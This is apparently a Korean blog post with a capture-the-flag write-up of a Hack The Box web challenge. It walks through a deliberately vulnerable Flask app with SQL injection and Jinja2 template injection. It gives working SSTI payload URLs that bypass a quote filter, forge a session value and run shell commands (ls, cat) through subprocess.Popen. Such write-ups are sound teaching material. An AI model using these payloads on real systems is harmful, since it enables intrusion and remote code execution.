티스토리 뷰
제공받은 URL에 접속하면 위와 같이 나옵니다. input 폼이 한 개 있음을 확인했습니다.
<!DOCTYPE html>
<head>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta name='author' content='makelaris'>
<title>⛰ Inside a dojo</title>
<link href='/static/favicon.gif' rel='icon' type='image/gif'>
<link href='/static/css/main.css' rel='stylesheet'>
</head><body>
<div class='titan-background'>
<span class='stars stars-L'></span>
<span class='stars stars-M'></span>
<span class='stars stars-S'></span>
</div>
<div class='marvellous-container'>
<div class='header'>
<h1>
<span class='title-marvel'>release your</span>
<span class='title-studios'>inner ninja</span>
</h1>
<h2>
All of military age in your village<br/>
are drafted to rebel against the emperor<br/>
under the leadership of the Hattori clan.<br/><br/>
Now's the time to choose the name under<br/>
which you'll embark in this new adventure.<br/><br/>
</h2>
<form action='/'>
<div class='input-field'>
<input type='text' name='name' id='name' placeholder='name' autocomplete='off' required />
<button type='submit'>Send</button>
</div>
</form>
<div class='wrap'>
<div class='ninja'></div>
</div>
</div>
</div>
</body>
<!-- /debug -->
</html>
소스코드를 보면 /debug 경로에 대한 힌트를 주고 있습니다. 그리고 들어가보면 app.py 로 추정되는 파일의 내용을 확인할 수 있었습니다. 아래와 같습니다.
from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)
acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/ninjas.db')
db.isolation_level = None
db.row_factory = sqlite3.Row
db.text_factory = (lambda s: s.replace('{{', '').
replace("'", ''').
replace('"', '"').
replace('<', '<').
replace('>', '>')
)
return db
def query_db(query, args=(), one=False):
with app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], str(value)) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (rv[0] if rv else None) if one else rv
@app.before_first_request
def init_db():
with app.open_resource('schema.sql', mode='r') as f:
get_db().cursor().executescript(f.read())
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None: db.close()
def rite_of_passage(func):
@functools.wraps(func)
def born2pwn(*args, **kwargs):
name = request.args.get('name', '')
if name:
query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)
report = render_template_string(acc_tmpl.
replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
)
if session.get('leader'):
return report
return render_template('welcome.jinja2')
return func(*args, **kwargs)
return born2pwn
@app.route('/')
@rite_of_passage
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
아래 코드 부분에서 sql injection 에 대한 벡터를 찾았습니다.
query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)
첫 페이지에 있던 유일한 input form 에 값을 넣어 전송하면 name 이란 변수에 들어가게 됩니다.
그래서 input form 에 “ (큰따옴표)를 입력하여서 오류를 내보았습니다.
보시다시피 sqlite3 오류가 났습니다. 이로써 Error-based SQL Injection 이 가능할 것으로 보였습니다.
그리고 debug=True 가 되어 있기 때문에 오류 내용이 그대로 출력됨을 알 수 있었고, console 모드에 접근하기 위해서는 PIN 코드가 있어야 해서 접근 제한이 있음을 확인했습니다.
그리고 아래 부분에서 SSTI 벡터를 찾았습니다.
report = render_template_string(acc_tmpl.
replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
)
저희가 name 에 입력한 값이 jinja2 template 으로 그대로 렌더링 됨을 알 수 있습니다.
그리고 바로 아래 이런 코드가 있어서 세션을 먼저 획득하고자 했습니다.
if session.get('leader'):
return report
처음엔 sqli 로 아이디 비번을 추출할까도 하였지만, 애초에 드러나는 app.py 상에서 로그인 기능 자체가 없음을 알 수 있습니다. 그래서 SSTI 를 통한 세션 획득을 시도해보았습니다.
우선 SSTI 시도 시 아래와 같은 필터링이 존재함을 알았고, 이를 우회하기 위해서 {% code %} 와 같은 jinja2 template 문법을 사용하였습니다.
db.text_factory = (lambda s: s.replace('{{', '').
replace("'", ''').
replace('"', '"').
replace('<', '<').
replace('>', '>')
)
그리고 위에서 알다시피 따옴표를 사용할 수 없습니다. 이를 우회하기 위해서는 LoveTok 문제에서 참고가 되었던 파라미터를 이용한 방법이 떠올랐습니다.
그리고 URL에 아래와 같이 넣어보았습니다. %25 는 URL 인코딩된 것입니다.
/?name={%25 if session.update({request.args.a:request.args.b}) == 1 %25}{%25 endif %25}&a=leader&b=test
request.args.a 에 leader 값을 넣고, request.args.b 에 test 값을 넣어보았고, 전송해보았습니다.
그랬더니 welcome 페이지가 아닌 다른 페이지가 나옴을 확인했습니다.
그리고 response header 에 set-cookie 가 되는 것을 확인하였고, 해당 쿠키 값을 확인해보았습니다. 쿠키값은 flask cookie decode 를 통해서 확인했습니다.
C:\Users\domdomi>flask cookie decode eyJsZWFkZXIiOiJ0ZXN0In0.YVDHzg.P2TDdXU57daSWYyxv2vp9moR9dg
UntrustedCookie(contents={'leader': 'test'}, expiration='2021-10-27T19:19:42+00:00')
제가 보낸 값이 그대로 세션 값에 들어감을 확인할 수 있었습니다.
이로써 SSTI 를 통한 RCE가 가능할 것으로 보였습니다. 이전에 templated 문제에서 jinja2 SSTI 에서 활용했던 방법을 그대로 사용해보았습니다.
/?name={%25 if session.update({request.args.a:().__class__.__mro__[1].__subclasses__()[258](request.args.b,shell=True,stdout=-1).communicate()|string}) == 1 %25}{%25 endif %25}&a=leader&b=ls
위 URL을 이용해서 ls 명령을 수행하였습니다. 물론 저 과정 이전에 popen 함수가 몇번째 인덱스에 있는지 확인하는 과정이 있었습니다. 그리고 ““ 나 str 글로벌 변수가 jinja2 template engine 에서는 사용하지 못했기 때문에 ()를 사용하였고, 해당 결과물을 문자열로 반환하기 위해서 jinja2 template engine의 문법 중 |string 을 하게 되면 문자열로 변환하는 특징을 이용해서 수행하였습니다.
C:\Users\domdomi>flask cookie decode eyJsZWFkZXIiOiIoJ2FwcC5weVxcbmZsYWdfUDU0ZWRcXG5zY2hlbWEuc3FsXFxuc3RhdGljXFxudGVtcGxhdGVzXFxuJywgTm9uZSkifQ.YVDI_g.FSItTnGUshJ9PZfOMbArAFtW5Us
UntrustedCookie(contents={'leader': "('app.py\\nflag_P54ed\\nschema.sql\\nstatic\\ntemplates\\n', None)"}, expiration='2021-10-27T19:24:46+00:00')
결과적으로 flag 이름이 flag_P54ed 임을 확인했기 때문에 이제 cat 만 해주면 되었습니다.
/?name={%25 if session.update({request.args.a:().__class__.__mro__[1].__subclasses__()[258](request.args.b,shell=True,stdout=-1).communicate()|string}) == 1 %25}{%25 endif %25}&a=leader&b=cat flag_P54ed
so, 플래그는 아래와 같습니다.
HTB{b4by_가려짐}
'보안 > Wargame' 카테고리의 다른 글
[FTZ] level2 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
---|---|
[FTZ] level1 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
[Hackthebox] - emo Writeup(문제풀이) (0) | 2021.09.13 |
[Hackthebox] - Under Construction Writeup(문제풀이) (0) | 2021.09.13 |
[Lord of SQLi] nightmare Writeup/문제풀이 (0) | 2021.09.07 |